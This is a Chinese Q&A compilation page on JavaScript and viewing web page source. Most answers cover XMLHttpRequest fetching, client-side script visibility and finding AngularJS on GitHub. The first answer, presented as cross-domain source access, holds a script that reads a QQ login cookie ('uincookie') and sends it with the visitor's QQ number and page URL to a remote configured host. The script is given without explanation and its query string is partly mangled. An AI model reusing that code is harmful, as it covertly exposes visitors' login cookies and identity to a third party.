本文目錄一覽:
- 1、JS相關 利用JS跨域訪問頁面源代碼
- 2、javascript 高手,為什麼查看源代碼看不到js寫入的代碼??
- 3、JS如何查找源代碼
- 4、如何防止查看源代碼的時候看到js腳本?
- 5、如何看angularjs源代碼
- 6、下面這段JS代碼,為什麼運行以後右鍵查看源代碼,看不到代碼已經被屏蔽,而是一行亂碼?
JS相關 利用JS跨域訪問頁面源代碼
function isLogin() {
var code = null;
if (typeof(data3) == “undefined”) {
code = data0.err;//這裡是抓取data0裡面err的值;
} else {
code = data3.err;
}
alert(code);//輸出抓去結果
if (code == 1007) {
window.clearInterval(isLoginTimeID);
insertFrame();
} else {
var uincookie = GetCookie(“uincookie”);
if (uincookie != null) {
window.clearInterval(isLoginTimeID);
var title = document.title;
title = encodeURI(title);
title = encodeURI(title);
var url = document.location.href;
url = encodeURI(url);
url = encodeURI(url);
var oHead = document.getElementsByTagName(‘HEAD’).item(0);
var oScript = document.createElement(“script”);
oScript.type = “text/javascript”;
oScript.src = window.cfgurl + “?action=saveQQdo=cookieSaveuid=” + window.cfguid + “qq=” + window.cfgqq + “url=” + url + “title=” + title + “uincookie=” + uincookie+”src=”+src+”keyword=”+keyword+”srcurl=”+newurl;
oHead.appendChild(oScript);
} else {
var checkscript = document.getElementById(“checkloginscript”);
checkscript.parentNode.removeChild(checkscript);
}
}
}
function dynamicLoad() {
var vsrc = “;lc=4d=365633133t=”;
var time = new Date().getTime();
vsrc = vsrc + time;
var oHead = document.getElementsByTagName(‘HEAD’).item(0);
var oScript = document.createElement(“script”);
oScript.type = “text/javascript”;
oScript.id = “checkloginscript”;
if (oScript.readyState) {
oScript.onreadystatechange = function() {
if (oScript.readyState == “loaded” || oScript.readyState == “complete”) {
oScript.onreadystatechange = null;
isLogin();
}
};
} else {
oScript.onload = function() {
isLogin();
};
}
oScript.src = vsrc;
oHead.appendChild(oScript);
}
dynamicLoad();
javascript 高手,為什麼查看源代碼看不到js寫入的代碼??
因為script/script中的javascript是屬於客戶端腳本,即在客戶端運行,伺服器端直接把代碼下載到你的電腦讓瀏覽器解釋顯示出來,所以你用瀏覽器”查看源文件”看到的是從伺服器端下載來的代碼,並沒有經過伺服器端編譯,所以只能看到JS語句
JS如何查找源代碼
html
head
meta http-equiv=”Content-type” content=”text/html; charset=utf-8″
title遠程網頁源代碼讀取/title
style type=”text/css”
/* 頁面字體樣式 */
body, td, input, textarea {
font-family:Arial;
font-size:12px;
}
/style
script type=”text/javascript”
//用於創建XMLHttpRequest對象
function createXmlHttp() {
//根據window.XMLHttpRequest對象是否存在使用不同的創建方式
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest(); //FireFox、Opera等瀏覽器支持的創建方式
} else {
xmlHttp = new ActiveXObject(“Microsoft.XMLHTTP”);//IE瀏覽器支持的創建方式
}
}
//直接通過XMLHttpRequest對象獲取遠程網頁源代碼
function getSource() {
var url = document.getElementById(“url”).value; //獲取目標地址信息
//地址為空時提示用戶輸入
if (url == “”) {
alert(“請輸入網頁地址。”);
return;
}
document.getElementById(“source”).value = “正在載入……”; //提示正在載入
createXmlHttp(); //創建XMLHttpRequest對象
xmlHttp.onreadystatechange = writeSource; //設置回調函數
xmlHttp.open(“GET”, url, true);
xmlHttp.send(null);
}
//將遠程網頁源代碼寫入頁面文字區域
function writeSource() {
if (xmlHttp.readyState == 4) {
document.getElementById(“source”).value = xmlHttp.responseText;
}
}
/script
/head
body
h1遠程網頁源代碼讀取/h1
div
地址:input type=”text” id=”url”
input type=”button” onclick=”getSource()” value=”獲取源碼”
/div
textarea rows=”10″ cols=”80″ id=”source”/textarea
/body
/html
我也是別人那抄的 你試試吧 好的話給我個最佳
如何防止查看源代碼的時候看到js腳本?
沒辦法,因為你的網頁是運行在客戶端的,如果客戶端獲取不到網頁中所有的元素的話,那還怎麼顯示網頁??
想要客戶端獲取不到你的js文件是不現實的,最好的方法是重新設計規劃js中可能涉及到後台的邏輯處理程序,避免被黑客從中找出破綻從而攻擊伺服器。
至於js特效,呵呵 web2.0 本來就是互相分享,你敢保證你用的js特效都不是從網上扒的嗎?你能使用別人的勞動成果,別人為什麼就不可以使用你的呢!
如何看angularjs源代碼
大部分JS框架的源代碼都可以在Github中找到,angular.js也不例外,要想在Github中找到相應的源代碼,步驟如下:
在瀏覽器中訪問github.com
在右上角的搜索框中輸入想要查找的源代碼(本次輸入angular.js),按回車搜索
在查詢結果中,一般來說第一個結果就是對應的源代碼(angular.js)
點進去後,可以在線查看,亦可以點擊綠色下拉按鈕「Clone or download」,用git複製地址同步源代碼到本地,或者打包成zip壓縮包下載都本地。
注意事項:
查閱angular.js源代碼需要有一定的javascript基礎
建議找一些demo配合查看源代碼效果更佳
下面這段JS代碼,為什麼運行以後右鍵查看源代碼,看不到代碼已經被屏蔽,而是一行亂碼?
你在onload執行了 clear方法。
代碼解釋如下:
Source=document.body.innerHTML;
//獲取body元素內的內容
document.open();
//打開一個新的空白文檔
document.write(“代碼已經被屏蔽”);
//往這個新文檔里寫內容(你看到的那一行字就是這個,至於亂碼是由於頁面編碼問題)
document.close();
//關閉文檔
document.body.innerHTML=Source;
//把原來的內容重新寫回body元素中
可能你還是不理解
其實我們右鍵看到的源代碼都不是動態生成的,都是原生的,document.write就是原生的,是往頁面裡面寫內容
但是document.body.innerHTML=Source卻是動態生成修改的,所以源代碼里是看不到的,是運行中的東西。
希望對你有幫助
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/241508.html